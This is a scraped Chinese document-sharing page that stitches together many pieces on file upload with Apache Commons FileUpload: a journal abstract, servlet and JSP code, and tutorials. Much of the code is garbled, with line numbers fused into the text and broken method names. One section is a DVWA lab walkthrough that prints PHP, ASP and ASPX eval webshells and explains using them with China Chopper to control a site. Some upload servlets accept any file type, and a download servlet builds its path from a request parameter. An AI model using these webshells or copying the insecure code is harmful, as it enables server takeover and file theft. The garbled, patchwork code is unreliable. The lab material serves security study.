Apache FileUpload 四种方式实现文件上传

合集下载

使用commons-fileupload处理HTTP文件上传

使用commons-fileupload处理HTTP文件上传

使用commons-fileupload处理HTTP文件上传
刘冬
【期刊名称】《开放系统世界》
【年(卷),期】2003(000)006
【摘要】Commom是Apache开放源代码组织中的一个Java子项目,该项目主要涉及一些开发中常用的模块。

例如文件上传、命令行处理、数据库连接池、XML配置文件处理等。

这些项目集合了来自世界各地软件工程师的心血,其性能、稳定性等方面都经受得住实际应用的考验。

有效地利用这些项目将会给开发带来显而易见的效果。

Fileupload就是其中用来处理HTTP文件上传的子项目。

本文主
要介绍如何使用Fileupload来处理浏览器提交到服务器的文件信息。

【总页数】3页(P99-101)
【作者】刘冬
【作者单位】无
【正文语种】中文
【中图分类】TP391.1
【相关文献】
1.基于HTTP文件上传进度显示组件的设计及实现 [J], 段旭光;李岚;董立岩;臧雪

2.SolarWinds Orion NPM中使用HTTPS [J], 何今成;杜致远
3.基于HTTP协议和数据库的文件上传方法 [J], 黄景文
4.让Gmail始终使用https连接 [J], 王勇
5.如何设置证书来使用IIS 7 HTTPS? [J],
因版权原因,仅展示原文概要,查看原文内容请购买。

fileupload

fileupload
new file(temppath).mkdirs();
}
编译该servlet,注意要指定classpath,确保包含commons-upload-1.0.jar和tomcat\common\lib\servlet-api.jar。
配置servlet,用记事本打开tomcat\webapps\你的webapp\web-inf\web.xml,没有的话新建一个。典型配置如下:
<web-app>
<servlet>
<servlet-name>upload</servlet-name>
<servlet-class>upload</servlet-class>
</servlet>
<servlet-mapping>
// 得到所有的文件:
list fileitems = fu.parserequest(request);
iterator i = fileitems.iterator();
// 依次处理每一个文件:
while(i.hasnext()) {
import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;
注意action="fileupload"其中fileupload是配置servlet时指定的url-pattern。

关于Commons-fileupload的上传组件

关于Commons-fileupload的上传组件

关于Commons-fileupload的上传组件Apache的上传组件其它已经被封装到Struts那中去了,我在网上找到了一些文章介绍它是如何上传文件的,自己跟了一下源码也写了一个上传的实例,仅供参考!一、JSP页面如下:Html代码1<form method="POST" action="UploadServlet"2 ENCTYPE="multipart/form-data">3<table>4<tr><td><input type="text" name="subject" /></td></tr> 5<tr><td><input type="text" name="subject" /></td></tr> 6<tr><td><input type="file" name="file1" /></td></tr>7<tr><td><input type="file" name="file2" /></td></tr>8<tr><td><input type="file" name="file3" /></td></tr>9<tr><td><input type="submit" value="上传"/></td></tr> 10</table>11</form>12<br/>13<a href="DownLoadServlet">下载</a>二、上传的Servlet如下:Java代码14/**15 * Apache组件上传16 *17 * @author mingxue.zhang@18 * @date 2010-10-3019 */20public class UploadServlet extends HttpServlet {2122private static final long serialVersionUID = 5827821285414610443L;2324public void doGet(HttpServletRequest request, HttpServletResponse response)25throws ServletException, IOException {26this.doPost(request, response);27 }2829public void doPost(HttpServletRequest request, HttpServletResponse response)30throws ServletException, IOException {31 // 上传文件目录32 String uploadDir =this.getServletContext().getRealPath("/uploadDir");33 DiskFileItemFactory factory = new DiskFileItemFactory();34 // 设置内存区块大小4KB35 factory.setSizeThreshold(4 * 1024);36 // 设置暂存容器,当上传文件大于设置的内存块大小时,用暂存容器做中转37 factory.setRepository(newFile(this.getServletContext().getRealPath(38 "/temp")));39 ServletFileUpload fileUpload = new ServletFileUpload(factory);40 fileUpload.setSizeMax(1024 * 1024 * 100);41 fileUpload.setFileSizeMax(1024 * 1024 * 10);42 List<FileItem> fileItemList = null;4344try {45 fileItemList = fileUpload.parseRequest(request);46 } catch (FileUploadException e) {47 e.printStackTrace();48 }49 Iterator<FileItem> fileItemIterator = fileItemList.iterator();50 FileItem fileItem = null;51while (fileItemIterator.hasNext()) {52 fileItem = fileItemIterator.next();53 // 普通文件框上传54if (fileItem.isFormField()) {55 String filedName = fileItem.getFieldName();56 String filedValue = fileItem.getString("GBK");// 编码格式57 System.out.println(filedName);// 文件框名称58 System.out.println(filedValue);// 文件的值59 } else {60 String filedName = fileItem.getFieldName();// 文件上传框的名称61 // 获取文件上传的文件名62 String OriginalFileName =takeOutFileName(fileItem.getName());63 System.out.println("原始文件名:"+OriginalFileName);64if (!"".equals(OriginalFileName)) {65 // 根据上传的文件名重新命名66 String newFileName =getNewFileName(OriginalFileName);67 System.out.println("重新名:"+newFileName);68 File writeToFile = new File(uploadDir + File.separator69 + newFileName);70try {71 fileItem.write(writeToFile);72 } catch (Exception e) {73 e.printStackTrace();74 }75 }76 }77 }78 }7980private String takeOutFileName(String filePath) {81 String fileName = filePath;82if (null != filePath && !"".equals(filePath)) {83int port = stIndexOf("\\" + 1);84if(port != -1){85 fileName = filePath.substring(port);86 }87 }88return fileName;89 }9091private String getNewFileName(String originalFileName) {92 StringBuffer newFileName = new StringBuffer();93if (null != originalFileName && !"".equals(originalFileName)) { 94int port = stIndexOf(".");95 String type = "";96 String fileName = "";97if (port != -1) {98 type = originalFileName.substring(port + 1);99 fileName = originalFileName.substring(0, port);100 } else {101 fileName = originalFileName;102 }103 StringBuffer suffix = new StringBuffer("_");104 suffix.append(Calendar.getInstance().getTimeInMillis()); 105 suffix.append("_");106 suffix.append(new Random().nextInt(100));107 newFileName.append(fileName);108 newFileName.append(suffix);109 newFileName.append(".");110 newFileName.append(type);111 }112return newFileName.toString();113 }114115}三、下载的Servlet如下:Java代码116/**117 * Apache组件下载118 *119 * @author mingxue.zhang@120 * @date 2010-10-30121 */122public class DownLoadServlet extends HttpServlet {123124public void doGet(HttpServletRequest request, HttpServletResponseresponse)125throws ServletException, IOException {126this.doPost(request, response);127 }128129public void doPost(HttpServletRequest request, HttpServletResponse response)130throws ServletException, IOException {131 String filePath ="D:\\Tomcat\\apache-tomcat-6.0.26\\webapps\\ApacheUpload\\uploadDir\\";132 String fileName = "2010年10月安排2_1288447490125_56.txt";133 String Originalname = "2010年10月安排2.txt";134 response.setContentType("application/octet-stream");135 String isoFileName = new String(Originalname.getBytes("GB2312"), 136 "ISO8859-1");137 response.setHeader("Content-Disposition", "attachment; filename="138 + isoFileName);139 ServletOutputStream out = response.getOutputStream();140 BufferedOutputStream bufferOut = new BufferedOutputStream(out);141 FileInputStream inputStream = new FileInputStream(newFile(filePath,142 fileName));143 BufferedInputStream bufferInput = newBufferedInputStream(inputStream);144byte[] buffer = new byte[5 * 1024];145int length = 0;146while ((length = bufferInput.read(buffer)) != -1) {147 bufferOut.write(buffer, 0, length);148 }149 bufferInput.close();150 inputStream.close();151 bufferOut.close();152 out.close();153 }154155}Servlet配置如下:Xml代码156<servlet>157<servlet-name>UploadServlet</servlet-name>158<servlet-class>com.mengya.servlet.UploadServlet</servlet-class> 159</servlet>160<servlet>161<servlet-name>DownLoadServlet</servlet-name>162<servlet-class>com.mengya.servlet.DownLoadServlet</servlet-class>163</servlet>164165<servlet-mapping>166<servlet-name>UploadServlet</servlet-name>167<url-pattern>/UploadServlet</url-pattern>168</servlet-mapping>169<servlet-mapping>170<servlet-name>DownLoadServlet</servlet-name>171<url-pattern>/DownLoadServlet</url-pattern>172</servlet-mapping>。

文件上传之Apachecommonsfileupload使用

文件上传之Apachecommonsfileupload使用

⽂件上传之Apachecommonsfileupload使⽤ ⽂件上传的⽅法主要⽬前有两个常⽤的,⼀个是SmartUpload,⼀个是Apache的Commons fileupload. 我们这⾥主要介绍下第⼆个的⽤法,⾸先要上传⽂件,注意⼏个问题: 1 form表单内,要添加空间<input type="file" name="myfile"> 2 form表单的内容格式要定义成multipart/form-data格式 3 需要类库:1 commons-io.jar 2commons-fileupload-1.3.1.jar 接下来我们看下他的⽤法。

⾸先阅读Apache commons fileupload的官⽅⽂档可以发现下⾯⼏个常⽤的函数: 1 创建⽂件解析对象DiskFileUpload diskFileUpload = new DiskFileUpload(); 2 进⾏⽂件解析后放在List中,因为这个类库⽀持多个⽂件上传,因此把结果会存在List中。

List<FileItem> list = diskFileUpload.parseRequest(request); 3 获取上传⽂件,进⾏分析(不是必须)File remoteFile = new File(new String(fileItem.getName().getBytes(),"UTF-8")); 4 创建新对象,进⾏流拷贝file1 = new File(this.getServletContext().getRealPath("attachment"),remoteFile.getName());file1.getParentFile().mkdirs();file1.createNewFile();InputStream ins = fileItem.getInputStream();OutputStream ous = new FileOutputStream(file1);try{byte[] buffer = new byte[1024];int len = 0;while((len = ins.read(buffer)) > -1)ous.write(buffer,0,len);out.println("以保存⽂件"+file1.getAbsolutePath()+"<br/>");}finally{ous.close();ins.close();} 这样我们就完成了⽂件的上传。

fileupload使用

fileupload使用

fileupload使用
fileupload是一种用于上传文件的工具,可以方便地将本地文件上传到服务器。

以下是使用fileupload的步骤:
1. 引入fileupload的js和css文件。

2. 创建一个form表单,设置enctype属性为
'multipart/form-data',并包含一个input标签用于选择文件。

3. 在js代码中,使用$(selector).fileupload()函数初始化fileupload插件。

可以设置一些选项,如url、formData、dataType 等,用于控制上传的行为。

4. 在服务器端,通过解析上传的请求,将上传的文件保存到服务器。

需要注意的是,为了防止文件大小过大导致上传失败,可以在客户端和服务器端都对上传的文件进行大小限制和类型校验。

fileupload的使用相对简单,但在实际项目中可能会有更多的需求和复杂的场景。

因此,建议在使用前先了解一下具体的插件文档和示例。

- 1 -。

使用组件FileUpload

使用组件FileUpload

FileUpload 是Apache commons下面的一个子项目,用来实现Java环境下面的文件上传功能,与常见的SmartUpload齐名。

[编辑本段]一、使用组件FileUpload可以通过许多种不同的方式使用组件FileUpload,这个主要取决于你的应用程序。

在最简单的情况下,你可以调用单一的方法去解析这个Servlet Request,然后处理选项列表,并应用到你的应用程序。

另一方面,你可能决定自定义FileUpload,实现对选项列表种个别项完全控制。

例如:你可以将内容注入到数据库。

这里,我们将描述组件FileUpload的基本原则,并讲解一些简单的、常用的使用模式。

FileUpload自定制将在其他地方描述。

组件FileUpload依赖于Commons IO组件,因此在继续之前,要确保在你的工程classpath中有描述页中提到的相应版本。

(这里FileUpload版本为:commons- fileupload-1.2.1,Commons IO版本为:commons-io-1.4)[编辑本段]二、组件FileUpload是怎样工作的上传的文件要求包括一个根据RFC 1867(在HTML中基于表单的文件)编码的选项列表清单。

组件FileUpload可以解析这个请求,并给你的应用程序提供一份独立上传的项目清单。

无论每个项目背后如何执行都实现了FileItem接口。

这里将描述组件FileUpload库的普通API,这些API比较简单。

不过,对于最终的实现,你可以参考最新的API流。

每一个文件项目都有一些属性,这些可能在你的应用程序中应用到。

比如:每一个项目有一个名称name和内容类型congtent type,并提供了一个InputStream访问其数据。

另一方面,你处理项目的方法可能有所不同,这个依赖于是否这个项目是一个规则的表单域,即:这个数据是来自普通的表单文本,还是普通的HTML域或是一个上传文件。

apache2.4 上传模板

apache2.4 上传模板

apache2.4 上传模板
1.上传文件名乱码问题:
upload.setHeaderEncoding("UTF-8");
1.1普通输入项中文乱码(两种方法)
String value = fileitem.getString("UTF-8");
value = new String(value.getBytes("ISO-8859-1"),"UTF-8");
2.为保证服务器安全,上传文件应放到外界无法访问的目录
3.为防止文件覆盖的发生,要为每一个文件产生一个唯一的文件名
4.防止上传文件保存目录超过一千个文件,用hash算法打散
5.限制上传文件的大小可以用
upload.setFileSizeMax(1024);//单个文件限制大小
upload.setSizeMax(1024*16);//多个文件一起限制大小
超过大小用抛出FileUploadBase.FileSizeLimitExceededException异常提示用户
6.确保临时文件被删除,一定要在处理完上传文件后,调用fileitem.delete()方法
7.限制文件的上传类型可以通过判断文件的后缀名实现。

JavaWeb:文件上传(详)

JavaWeb:文件上传(详)

2、前端表单form表单提交⽅式:method=“post”(post传送的数据量⼤,可视为不受限制)text/plain:将空格转换为+号,其它字符不做编码处理,适⽤于通过表单发送邮件。

input输⼊框类型:type=“file”4、实现步骤带 * 号的是⽤于完善业务的辅助功能,不是必要的。

1. 判断表单:是否包含⽂件上传控件。

2、前端页⾯fileUpload.jsp<form action="${pageContext.request.contextPath}/upload.do" method="post" enctype="multipart/form-data"></form>success.jsp<h1>${msg}</h1>// 判断表单项是否为上传⽂件if (fileItem.isFormField()) { // 普通⽂本String filedName = fileItem.getFieldName(); // 获取字段名:表单项name属性的值String value = fileItem.getString("UTF-8"); // FileItem对象中保存的数据流内容:即表单项为普通⽂本的输⼊值 System.out.println(filedName + ":" + value);} else { // 上传⽂件// ------------------------1、处理⽂件------------------------String uploadFileName = fileItem.getName();// 上传⽂件名System.out.println("上传的⽂件名:" + uploadFileName);if (uploadFileName == null || uploadFileName.trim().equals("")) { // ⽂件名为空值或空continue; // 进⼊下⼀轮循环,判断下⼀个FileItem对象}String fileExtName = uploadFileName.substring(stIndexOf(".") + 1); // ⽂件后缀名System.out.println("⽂件信息【⽂件名:" + uploadFileName + ",⽂件类型:" + fileExtName + "】");// 使⽤UUID保证⽂件名唯⼀String uuidPath = UUID.randomUUID().toString();// ------------------------2、处理路径------------------------// 存储路径:uploadPathString realPath = uploadPath + '/' + uuidPath; // 真实存在的路径// 给每个⽂件创建⼀个⽂件夹File realPathFile = new File(realPath);makeDirIfNotExist(realPathFile);// ------------------------3、⽂件传输------------------------// 获得输⼊流InputStream is = fileItem.getInputStream();// 获得输出流FileOutputStream fos = new FileOutputStream(realPathFile + "/" + uploadFileName);// 创建缓冲区byte[] buffer = new byte[1024];int len;while ((len = is.read(buffer)) > 0) {fos.write(buffer, 0, len);}msg = "⽂件上传成功!";fileItem.delete(); // 上传成功,清除临时⽂件fos.close();is.close();}}return msg;}private ServletFileUpload getServletFileUpload(DiskFileItemFactory factory) {// ServletFileUpload servletFileUpload = new ServletFileUpload(factory); // 构造⽅法设置FileItemFactoryServletFileUpload servletFileUpload = new ServletFileUpload();servletFileUpload.setFileItemFactory(factory); // 设置FileItemFactory// ------------------------辅助功能------------------------// 监听⽂件上传进度servletFileUpload.setProgressListener(new ProgressListener() {/**** @param pBytesRead 已读取的⽂件⼤⼩* @param pContentLength ⽂件⼤⼩5、运⾏结果上传的⽂件会保存在Target⽬录下对应项⽬的保存路径下。

文件上传组件_Apache_Commons_FileUpload_应用指南

文件上传组件_Apache_Commons_FileUpload_应用指南

文件上传组件_A p a c h e_C o m m o n s_F i l e U p l o a d_应用指南-CAL-FENGHAI.-(YICAI)-Company One1Apache Commons FileUpload应用指南前言几乎每一个Web应用中都需要为用户提供文件上传的功能,例如,QQ空间、各种博客的相册、论坛的附件、个人头像等。

对文件上传功能,在浏览器端提供了较好的支持,只要将FORM表单的enctype属性设置为“multipart/form-data”,method属性设置为“post”即可;但在Web服务器端获取通过浏览器上传的文件数据(二进制输入流),需要进行复杂的编程处理。

为了简化文件上传的的处理,一些公司和组织专门开发了文件上传组件。

其中,Apache文件上传组件得到了广泛的传播和应用。

我们将详细介绍如何使用Apache文件上传组件进行文件上传实现。

1 获取上传组件使用Apache Commons Fileupload 文件上传组件需要两个类库文件:1) 1.2.2第一步:下载1.2.2。

在浏览器中输入打开Apache Commons Fileupload 文件上传组件主页面,在Downloading 栏目中点击任意一个版本号后面的“here”超级链接,可以打开当前最新版本的 Apache Commons Fileupload 文件上传组件下载页面,(2010-08-28为止的可下载最新版本是1.2.2版)。

也可以直接输入打开最新版本下载页面。

主页面当前最新版本的下载页面在当前最新版本的下载页面,提供二进制可执行版本(Binares)和源程序版本(Source)两种文件的下载,每一种文件都有两种压缩格式:1).zip,适用windows 操作系统2).,适用 linux 和 unix 操作系统我们这里选择下载 1.2.2 文件。

解压后得到如下目录结构:commons-fileupload-1.2.2 (根目录)-----lib (类库目录)----- 1.2.2 (我们要用的二进制类库)-----site (包括Apache Commons Fileupload 组件站点所有页面文件)----- apidocs (API文档目录,API文档链接可以在下面的首页中找到,也可以直接打开此目录,点击打开API文档)----- (站点首页)第二步:下载。

FileUpload(文件上传)

FileUpload(文件上传)

FileUpload(⽂件上传)⼀句话⽊马<?php@eval($_POST['key']);>/*eval(phpcode)eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

*/通常是由于对上传⽂件的类型、内容没有进⾏严格的过滤、检查,使得攻击者可以通过上传⽊马获取服务器的webshell权限,因此⽂件上传漏洞带来的危害常常是毁灭性的,Apache、Tomcat、Nginx等都曝出过⽂件上传漏洞。

Lowbasename(path,suffix)函数返回路径中的⽂件名部分,如果可选参数suffix为空,则返回的⽂件名包含后缀名,反之不包含后缀名。

我们看到服务器对上传的⽂件类型、内容或是⽂件⼤⼩都没有做任何的检查、过滤,存在明显的⽂件上传漏洞,⽣成上传路径后,服务器会检查是否上传成功并返回相应提⽰信息。

这段代码的核⼼就是验证是否有接收⽂件($_POST[‘Upload’])$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";DVWA_WEB_PAGE_TO_ROOT=E:\phpStudy2019_64\phpstudy_pro\WWW\DVWA$target_path=E:\phpStudy2019_64\phpstudy_pro\WWW\DVWA/hackable/uploads/因此最终你上传的⽂件的最终路径为:$target_path=E:\phpStudy2019_64\phpstudy_pro\WWW\DVWA\hackable\uploads/123.jpg123.jpg就是你要上传的⽬标⽂件。

漏洞利⽤⽂件上传漏洞的利⽤条件:1.能够成功上传⽊马⽂件2.上传⽂件必须能够被执⾏3.上传⽂件的路径必须可知上传⼀句话⽊马上传成功,并返回上传路径打开中国菜⼑,右键添加,(这个url想了⼀会⼉,两个../返回上级,回到了127.0.0.1/dvwa/)然后菜⼑就会通过向服务器发送包含key参数的post请求,在服务器上执⾏任意命令,获取webshell权限。

apache的commons-fileupload实现文件上传,下载

apache的commons-fileupload实现文件上传,下载

apache的commons-fileupload实现文件上传,下载package com.handson.bbs.servlet;import java.io.File;import java.io.IOException;import java.util.Date;import java.util.List;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import javax.servlet.http.HttpSession;import mons.fileupload.FileItem;import mons.fileupload.disk.DiskFileItemFactory;import mons.fileupload.servlet.ServletFileUpload;import erBO;import er;/** *//*** *********************************************** @description 文件上传* 针对本项目,上传图片在uploadFile/Image* 缓存目录c:\\tmp\\ 目录下* 照片上传后,后面代码处理及时更新用户照片。

* @author Gavin.lee* @date 2009-6-13 21:35:47* @version 1.0************************************************/public class UploadPhotoServlet extends HttpServlet{public void doGet(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {this.doPost(request, response);}public void doPost(HttpServletRequest request, HttpServletResponse response)throws ServletException, IOException {String filepath = this.getServletContext().getRealPath("/uploadFile/Image/"); //容器相对路径File tmp = new File("c:\\tmp\\");if(! tmp.exists()) {tmp.mkdirs();}DiskFileItemFactory factory = new DiskFileItemFactory(); //创建磁盘工厂factory.setRepository(tmp); //文件缓存路径factory.setSizeThreshold(10 * 1096 );ServletFileUpload sfu = new ServletFileUpload(factory); //创建处理工具sfu.setSizeMax(10*1024*1024); //服务器端可以接收的最大文件大小,-1表示无上限String filename = null;try {List<FileItem> list = sfu.parseRequest(request); //解析FileItem item= list.get(0);filename = item.getName();if(filename.equals("")) {request.getRequestDispatcher("/com/visualizePhoto.jsp").forward(request, response);return ;}int pos = stIndexOf("."); //取图片文件格式if(pos > 0) {Date date = new Date();filename =filepath+'/'+ date.getTime()+filename.substring(pos);}item.write(new File(filename)); //写到磁盘} catch(Exception e) {e.printStackTrace();}// 只针对文件上传的话,后面代码不用看了,后面是针对及时更新用户信息(照片)HttpSession session = request.getSession();User user = (User)session.getAttribute("user");int pos = filename.indexOf("uploadFile"); //设置图片相对路径if(pos > 0) {filename = filename.substring(pos,pos+10)+'/'+filename.substring(pos+11);}user.setPhoto(filename);UserBO userBo = UserBO.getInstance();if(userBo.updateUser(user)){session.setAttribute("user", user);request.getRequestDispatcher("/com/visualizePhoto.jsp").forward(request, response);}}}【download】下载似乎就更简单了,package com.Gavin.tools.fileupload;import java.io.File;import java.io.FileInputStream;import java.io.IOException;import java.io.InputStream;import java.io.PrintWriter;import javax.servlet.ServletConfig;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;public class FileDownloadServlet extends HttpServlet {public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException {String filename = request.getParameter("file_name");if (filename == null)filename = "";filename = filename.trim();InputStream inStream = null;String attchname = "";byte[] b = new byte[100];int len = 0;try {attchname = getAttachName(filename); //取得附件的名称filename = getRealName(request, filename); //取得附件的全路径if (filename == null) {System.out.println("文件不存在,或者禁止下载");return;}attchname = toUtf8String(attchname); //将文件转码UTF-8inStream = new FileInputStream(filename);response.reset(); //必须reset,否则会出现文件不完整response.setContentType("application/x-msdownload");response.addHeader("Content-Disposition", "attachment; filename=\"" + attchname + "\"");//循环取出流中的数据while ((len = inStream.read(b)) > 0) {response.getOutputStream().write(b, 0, len);}inStream.close();} catch (Exception e) {e.printStackTrace();}}//取得附件的名称public static String getAttachName(String filename) {if (filename == null)return "";filename = filename.trim();int pos = 0;pos = stIndexOf("\\");if (pos > -1) {filename = filename.substring(pos + 1);}pos = stIndexOf("/");if (pos > -1) {filename = filename.substring(pos + 1);}pos = stIndexOf(File.separator);if (pos > -1) {filename = filename.substring(pos + 1);}return filename;}//UTF8转码public static String toUtf8String(String string) {StringBuffer sb = new StringBuffer();for (int i = 0; i < string.length(); i++) {char c = string.charAt(i);if (c >= 0 && c <= 255) {sb.append(c);} else {byte[] b;try {b = Character.toString(c).getBytes("utf-8");} catch (Exception ex) {System.out.println(ex);b = new byte[0];}for (int j = 0; j < b.length; j++) {int k = b[j];if (k < 0)k += 256;sb.append("%" + Integer.toHexString(k).toUpperCase());}}}String s_utf8 = sb.toString();sb.delete(0, sb.length());sb.setLength(0);sb = null;return s_utf8;}//取得下载文件的真实全路径名称private String getRealName(HttpServletRequest request, String filename) { if (request == null || filename == null)return null;filename = filename.trim();if (filename.equals(""))return null;String filepath = request.getRealPath(filename);if (filepath == null)return null;File file = new File(filepath);if (!file.exists())return null;return filepath;}public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException {this.doPost(request, response);}}。

通过代码示例跟我学Apache Commons-FileUpload文件上传组件技术及应用实例

通过代码示例跟我学Apache Commons-FileUpload文件上传组件技术及应用实例

目录1.2Apache Commons-FileUpload文件上传组件技术及应用实例 (2)1.2.1Apache Commons-FileUpload组件相关技术概述 (2)1.2.2下载Commons-FileUpload组件系统库 (3)1.2.3应用Commons-FileUpload组件实现文件上传功能 (5)1.2.4利用FileUpload组件具体实现文件上传的功能实现代码示例 (7)1.2.5测试本示例的应用效果 (14)1.11.2Apache Commons-FileUpload文件上传组件技术及应用实例1.2.1Apache Commons-FileUpload组件相关技术概述1、Web应用系统中的文件上传在许多Web站点应用中都需要为用户提供通过浏览器上传文档资料的功能,例如,上传邮件附件、个人相片、共享资料等。

文件上传和下载同样也是Web应用系统中的通用功能实现的要求,但如何能够简化对这个功能的实现和避免开发人员重复地编程同样功能的实现程序?在浏览器端提供了较好的支持,只要将FORM表单的enctype属性设置为“multipart/form-data”即可。

但在Web服务器端如何获取浏览器上传的文件,需要进行复杂的编程处理。

为了简化和帮助Web开发人员接收浏览器上传的文件,一些公司和组织专门开发了文件上传组件。

为此,在Commons组件集中也提供有一个Commons-FileUpload组件,帮助Web开发人员实现文件上传的功能。

作者在本节中继续通过银行账户信息管理系统中的文件上传功能的具体实现的示例,为读者介绍如何正确地应用Commons-FileUpload组件,并介绍两种不同的应用方式——标准的Web技术实现和基于Struts2框架下的文件上传功能的实现。

2、Commons-FileUpload文件上传功能组件(1)Commons-FileUpload组件主要实现文件上传功能Commons-FileUpload组件主要实现处理HTTP请求方式下的文件上传功能,并遵守RFC1867标准,它自动地分析上传表单中的各种请求参数,最终向服务器端的程序提供上传后的服务器端文件的数据。

File Upload(文件上传)

File Upload(文件上传)

Vulnerability: File Upload(文件上传)需要的环境:phpstuty2018、BSP(bobo)、菜刀、火狐浏览器、DVWA【基本原理】利用文件上传漏洞,往目标网站中上传一句话木马,然后你就可以在本地通过中国菜刀chopper.exe即可获取和控制整个网站目录。

@表示后面即使执行错误,也不报错。

eval()函数表示括号内的语句字符串什么的全都当做代码执行。

$_POST['attack']表示从页面中获得attack这个参数值。

入侵条件其中,只要攻击者满足三个条件,就能实现成功入侵:(1)木马上传成功,未被杀;(2)知道木马的路径在哪;(3)上传的木马能正常运行。

常见的一句话木马:php的一句话木马:<?php @eval($_POST['pass']);?>asp的一句话是:<%eval request ("pass")%>aspx的一句话是:<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>!看到的第一眼就是密码是cmd(后面运用菜刀的时候会用到)木马利用以下通过DVWA的文件上传漏洞,来看看一句话木马如何使用。

首先在本地(桌面)保存一句话木马文件Hack.php(用记事本编写后修改文件后缀即可):接下来进入DVWA平台:http://192.168.0.107/DVWA/index.php,准备开始实验。

(LOW等级)我们将准备好的一句话木马直接上传,然后就可以看到回显的路径:成功将桌面上的文件(1.php)上传到网站资源目录下方可以用菜刀连接了,菜刀界面右键,然后点击添加。

然后填写相关的数据,如下图:1、是连接的URL,就是网站的主路径然后加上上传文件时回显的保存路径;2、是菜刀连接时的密码,就是上面图片一句话提交的数据(本例为"pass");3、是一句话的解析类型,可以是asp,php,aspx。

FileUpload上传控件用法详解

FileUpload上传控件用法详解

FileUpload上传控件⽤法详解FileUpload 类显⽰⼀个⽂本框控件和⼀个浏览按钮,使⽤户可以选择客户端上的⽂件并将它上载到 Web 服务器。

⽤户通过在控件的⽂本框中输⼊本地计算机上⽂件的完整路径(例如,C:\MyFiles\TestFile.txt )来指定要上载的⽂件。

⽤户也可以通过单击“浏览” 按钮,然后在“选择⽂件” 对话框中定位⽂件来选择⽂件。

注意:FileUpload 控件设计为仅⽤于部分页⾯呈现期间的回发情况,并不⽤于异步回发情况。

在 UpdatePanel 控件内部使⽤ FileUpload 控件时,必须通过⼀个控件来上载⽂件,该控件是⾯板的⼀个 PostBackTrigger 对象。

UpdatePanel 控件⽤于更新页⾯的选定区域⽽不是使⽤回发更新整个页⾯。

解决⽅法如下:<asp:ScriptManager ID="ScriptManager1" runat="server" /><asp:UpdatePanel ID="UpdatePanel1" runat="server"><ContentTemplate><asp:FileUpload ID="FileUpload1" runat="server" /><asp:Button ID="Button1" runat="server" Text="Upload" OnClick="Button1_Click" /><br /></ContentTemplate><Triggers><asp:PostBackTrigger ControlID="Button1" /></Triggers></asp:UpdatePanel>⽤户选择要上载的⽂件后,FileUpload 控件不会⾃动将该⽂件保存到服务器。

ApacheFileUpload的两种上传方式介绍及应用

ApacheFileUpload的两种上传方式介绍及应用

ApacheFileUpload的两种上传⽅式介绍及应⽤:tomcat5.6commmons-fileupload-1.3.jarcommmons-io-2.4.jarJSP编码:UTF-8临时⽂件夹:fileupload/tmp相对于⽹站根⽬录上传⽂件保存位置:fileupload//fileload01.htm复制代码代码如下:<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><html><body><form method="POST" enctype="multipart/form-data" action="traditionalapi.jsp">File to upload: <input type="file" name="file" size="40"><br/><input type="submit" value="Press"> to upload the file!</form></body></html>//traditionalapi.jsp复制代码代码如下:<%@page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" language="java"%><%@page import="java.io.File"%><%@page import="java.util.List"%><%@page import="mons.fileupload.*"%><%@page import="mons.fileupload.disk.DiskFileItemFactory"%><%@page import="mons.fileupload.servlet.ServletFileUpload"%><%request.setCharacterEncoding("UTF-8");// file less than 10kb will be store in memory, otherwise in file system.final int threshold = 10240;final File tmpDir = new File(getServletContext().getRealPath("/") + "fileupload" + File.separator + "tmp");final int maxRequestSize = 1024 * 1024 * 4; // 4MB// Check that we have a file upload requestif(ServletFileUpload.isMultipartContent(request)){// Create a factory for disk-based file items.FileItemFactory factory = new DiskFileItemFactory(threshold, tmpDir);// Create a new file upload handlerServletFileUpload upload = new ServletFileUpload(factory);// Set overall request size constraint.upload.setSizeMax(maxRequestSize);List<FileItem> items = upload.parseRequest(request); // FileUploadExceptionfor(FileItem item : items){if(item.isFormField()) //regular form field{String name = item.getFieldName();String value = item.getString();%><h1><%=name%> --> <%=value%></h1><%}else{ //file uploadString fieldName = item.getFieldName();String fileName = item.getName();File uploadedFile = new File(getServletContext().getRealPath("/") +"fileupload" + File.separator + fieldName + "_" + fileName);item.write(uploadedFile);%><h1>upload file <%=uploadedFile.getName()%> done!</h1><%}}}%>//fileupload02.htm复制代码代码如下:<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><html><body><form method="POST" enctype="multipart/form-data" action="streamingapi.jsp">File to upload: <input type="file" name="file" size="40"><br/><input type="submit" value="Press"> to upload the file!</form></body></html>//streamingapi.jsp复制代码代码如下:<%@page contentType="text/html;charset=UTF-8" pageEncoding="UTF-8" language="java"%> <%@page import="java.io.*"%><%@page import="java.util.List"%><%@page import="mons.fileupload.*"%><%@page import="mons.fileupload.util.Streams"%><%@page import="mons.fileupload.servlet.ServletFileUpload"%><%request.setCharacterEncoding("UTF-8");// Check that we have a file upload requestif(ServletFileUpload.isMultipartContent(request)){// Create a new file upload handlerServletFileUpload upload = new ServletFileUpload();// Parse the requestFileItemIterator iter = upload.getItemIterator(request);while(iter.hasNext()){FileItemStream item = iter.next();String fieldName = item.getFieldName();InputStream is = item.openStream();if(item.isFormField()) //regular form field{%><!-- read a FileItemStream's content into a string. --><h1><%=fieldName%> --> <%=Streams.asString(is)%></h1><%}else{ //file uploadString fileName = item.getName();File uploadedFile = new File(getServletContext().getRealPath("/") +"fileupload" + File.separator + fieldName + "_" + fileName);OutputStream os = new FileOutputStream(uploadedFile);// write file to disk and close outputstream.Streams.copy(is, os, true);%><h1>upload file <%=uploadedFile.getName()%> done!</h1><%}}}%>Streaming API上传速度相对较快。

使用FileUpload组件上传文件

使用FileUpload组件上传文件

